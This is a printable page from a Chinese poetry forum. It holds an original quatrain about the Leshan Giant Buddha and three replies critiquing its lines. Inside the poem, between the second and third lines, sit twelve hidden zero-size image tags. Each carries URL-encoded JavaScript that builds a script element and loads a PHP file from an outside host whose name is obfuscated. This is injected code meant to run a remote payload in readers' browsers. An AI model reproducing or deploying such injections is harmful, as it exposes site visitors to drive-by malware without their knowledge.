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标题: [原创]七绝?观乐山大佛 [打印本页]

作者: 柳下雪 时间: 2010-12-10 11:16
标题: [原创]七绝?观乐山大佛
凌云出世坐苍穹，
慈目临江渡众生。<img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/><img id="hde" title="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" height="0" alt="（原创）七绝?观乐山大佛 - 柳下雪 - 黄水尽淘沙太行欲入云" src="http:///#/" width="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"/> 
跪拜高香求解惑，
谁知佛脚抱无能。

作者: 又是秋色 时间: 2010-12-10 13:46
意味深长。

作者: 明月诗心 时间: 2010-12-10 17:48
附议秋色，只是结句有些低调了。

作者: 司马长风 时间: 2010-12-11 01:03
 “跪拜高香求解惑，谁知佛脚抱无能”，转结颇佳，只是与二句“慈目临江渡众生”有些矛盾，把前四字改了就可顺；首句“坐”字也稍平。
 若起句显气势，承句张力足，可与转结构成强烈对比和反差，意境则可升华。

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